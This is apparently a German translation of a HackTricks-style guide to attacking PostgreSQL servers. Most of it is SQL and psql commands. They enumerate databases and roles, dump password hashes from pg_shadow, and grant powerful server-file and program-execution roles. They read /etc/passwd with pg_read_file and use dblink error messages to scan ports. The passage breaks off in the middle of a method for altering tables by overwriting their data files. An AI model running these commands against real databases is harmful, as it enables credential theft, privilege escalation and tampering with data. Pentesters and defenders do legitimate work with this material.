Verwenden Sie Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Zugang heute erhalten:
PostgreSQL wird als objekt-relationales Datenbanksystem beschrieben, das Open Source ist. Dieses System nutzt nicht nur die SQL-Sprache, sondern erweitert sie auch um zusätzliche Funktionen. Seine Fähigkeiten ermöglichen es, eine Vielzahl von Datentypen und Operationen zu verarbeiten, was es zu einer vielseitigen Wahl für Entwickler und Organisationen macht.
Standardport: 5432, und wenn dieser Port bereits verwendet wird, scheint PostgreSQL den nächsten verfügbaren Port (wahrscheinlich 5433) zu verwenden.
PORT STATE SERVICE
5432/tcp open pgsql
Verbinden & Grundlegende Aufzählung
psql-U<myuser># Open psql console with userpsql-h<host>-U<username>-d<database># Remote connectionpsql-h<host>-p<port>-U<username>-W<password><database># Remote connection
psql -h localhost -d <database_name>-U <User> #Password will be prompted\list # List databases\c <database> # use the database\d # List tables\du+ # Get users roles# Get current userSELECT user;# Get current databaseSELECT current_catalog;# List schemasSELECT schema_name,schema_owner FROM information_schema.schemata;\dn+#List databasesSELECT datname FROM pg_database;#Read credentials (usernames + pwd hash)SELECT usename, passwd from pg_shadow;# Get languagesSELECT lanname,lanacl FROM pg_language;# Show installed extensionsSHOW rds.extensions;SELECT*FROM pg_extension;# Get history of commands executed\s
Wenn Sie beim Ausführen von \list eine Datenbank namens rdsadmin finden, wissen Sie, dass Sie sich in einer AWS PostgreSQL-Datenbank befinden.
Für weitere Informationen darüber, wie man eine PostgreSQL-Datenbank ausnutzt, siehe:
Automatische Enumeration
msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
Laut dieser Forschung wirft dblink eine sqlclient_unable_to_establish_sqlconnection-Ausnahme, wenn ein Verbindungsversuch fehlschlägt, einschließlich einer Erklärung des Fehlers. Beispiele für diese Details sind unten aufgeführt.
DETAIL: konnte keine Verbindung zum Server herstellen: Kein Zugang zum Host. Läuft der Server auf dem Host "1.2.3.4" und akzeptiert TCP/IP-Verbindungen auf Port 5678?
Port ist geschlossen
DETAIL: could not connect to server: Connection refused Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
Port ist offen
DETAIL: server closed the connection unexpectedly This probably means
the server terminated abnormally before or while processing the request
oder
DETAIL: FATAL: password authentication failed for user "name"
Port ist offen oder gefiltert
DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
In PL/pgSQL-Funktionen ist es derzeit nicht möglich, Ausnahmeinformationen zu erhalten. Wenn Sie jedoch direkten Zugriff auf den PostgreSQL-Server haben, können Sie die erforderlichen Informationen abrufen. Wenn das Extrahieren von Benutzernamen und Passwörtern aus den Systemtabellen nicht möglich ist, sollten Sie die in dem vorhergehenden Abschnitt besprochene Wortlistenangriffsmethode in Betracht ziehen, da sie möglicherweise positive Ergebnisse liefern könnte.
Aufzählung der Berechtigungen
Rollen
Interessante Gruppen
Wenn Sie Mitglied von pg_execute_server_program sind, können Sie Programme ausführen.
Wenn Sie Mitglied von pg_read_server_files sind, können Sie Dateien lesen.
Wenn Sie Mitglied von pg_write_server_files sind, können Sie Dateien schreiben.
Beachten Sie, dass in Postgres ein Benutzer, eine Gruppe und eine Rolle dasselbe sind. Es hängt nur davon ab, wie Sie es verwenden und ob Sie es zur Anmeldung zulassen.
# Get users roles\du#Get users roles & groups# r.rolpassword# r.rolconfig,SELECTr.rolname,r.rolsuper,r.rolinherit,r.rolcreaterole,r.rolcreatedb,r.rolcanlogin,r.rolbypassrls,r.rolconnlimit,r.rolvaliduntil,r.oid,ARRAY(SELECT b.rolnameFROM pg_catalog.pg_auth_members mJOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)WHERE m.member = r.oid) as memberof, r.rolreplicationFROM pg_catalog.pg_roles rORDER BY1;# Checkif current user is superiser## If response is"on"then true, if"off"then falseSELECT current_setting('is_superuser');# Trytogrant access to groups## For doing this you need to be adminon the role, superadmin or have CREATEROLE role (see next section)GRANT pg_execute_server_program TO"username";GRANT pg_read_server_files TO"username";GRANT pg_write_server_files TO"username";## You will probably get this error:## Cannot GRANTon the "pg_write_server_files"rolewithout being a member of the role.# Create new role (user) as member of a role (group)CREATEROLE u LOGINPASSWORD'lriohfugwebfdwrr'IN GROUP pg_read_server_files;## Common error## Cannot GRANTon the "pg_read_server_files"rolewithout being a member of the role.
Tabellen
# Get owners of tablesselect schemaname,tablename,tableowner from pg_tables;## Get tables where user isownerselect schemaname,tablename,tableowner from pg_tables WHERE tableowner ='postgres';# Get your permissions over tablesSELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;#Check users privileges over a table (pg_shadow on this example)## If nothing, you don't have any permissionSELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';
Funktionen
# Interesting functions are inside pg_catalog\df * #Get all\df *pg_ls* #Getby substring\df+ pg_read_binary_file #Check who has access# Get all functions of a schema\df pg_catalog.*# Get all functions of a schema (pg_catalog in this case)SELECT routines.routine_name, parameters.data_type, parameters.ordinal_positionFROM information_schema.routinesLEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_nameWHERE routines.specific_schema='pg_catalog'ORDER BY routines.routine_name, parameters.ordinal_position;# Another aparent optionSELECT*FROM pg_proc;
Dateisystemaktionen
Verzeichnisse und Dateien lesen
Von diesem Commitkönnen Mitglieder der definierten DEFAULT_ROLE_READ_SERVER_FILES-Gruppe (genannt pg_read_server_files) und Superbenutzer die COPY-Methode auf jedem Pfad verwenden (siehe convert_and_check_filename in genfile.c):
Es gibt andere Postgres-Funktionen, die verwendet werden können, um Dateien zu lesen oder ein Verzeichnis aufzulisten. Nur Superuser und Benutzer mit expliziten Berechtigungen können sie verwenden:
# Before executing these functiongoto the postgres DB (notin the template1)\c postgres## If you don't do this, you might get "permission denied" error even if you have permissionselect * from pg_ls_dir('/tmp');select * from pg_read_file('/etc/passwd', 0, 1000000);select * from pg_read_binary_file('/etc/passwd');# Check who has permissions\df+ pg_ls_dir\df+ pg_read_file\df+ pg_read_binary_file# Try to grant permissionsGRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;# By default you can only access files in the datadirectorySHOW data_directory;# But if you are a member of the group pg_read_server_files# You can access any file, anywhereGRANT pg_read_server_files TO username;# Check CREATEROLE privilege escalation
Denken Sie daran, dass COPY keine Zeilenumbrüche verarbeiten kann, daher müssen Sie, selbst wenn Sie eine base64-Nutzlast verwenden, eine Einzeilige senden.
Eine sehr wichtige Einschränkung dieser Technik ist, dass copy nicht verwendet werden kann, um Binärdateien zu schreiben, da es einige binäre Werte verändert.
Hochladen von Binärdateien
Es gibt jedoch andere Techniken, um große Binärdateien hochzuladen:
Bug-Bounty-Tipp: Melden Sie sich an bei Intigriti, einer Premium-Bug-Bounty-Plattform, die von Hackern für Hacker erstellt wurde! Treten Sie uns bei https://go.intigriti.com/hacktricks und beginnen Sie, Prämien von bis zu 100.000 $ zu verdienen!
Aktualisieren von PostgreSQL-Tabellendaten über lokale Dateischreibung
Wenn Sie die erforderlichen Berechtigungen zum Lesen und Schreiben von PostgreSQL-Serverdateien haben, können Sie jede Tabelle auf dem Server aktualisieren, indem Sie die zugehörige Dateiknoten im PostgreSQL-Datenverzeichnis überschreiben. Mehr zu dieser Technikhier.
Erforderliche Schritte:
Erhalten Sie das PostgreSQL-Datenverzeichnis
SELECT setting FROM pg_settings WHEREname='data_directory';
Hinweis: Wenn Sie den aktuellen Datenverzeichnispfad aus den Einstellungen nicht abrufen können, können Sie die Hauptversion von PostgreSQL über die SELECT version()-Abfrage abfragen und versuchen, den Pfad zu brute-forcen. Häufige Datenverzeichnispfade auf Unix-Installationen von PostgreSQL sind /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/. Ein häufiger Clustername ist main. 2. Erhalten Sie einen relativen Pfad zum Dateiknoten, der mit der Ziel-Tabelle verbunden ist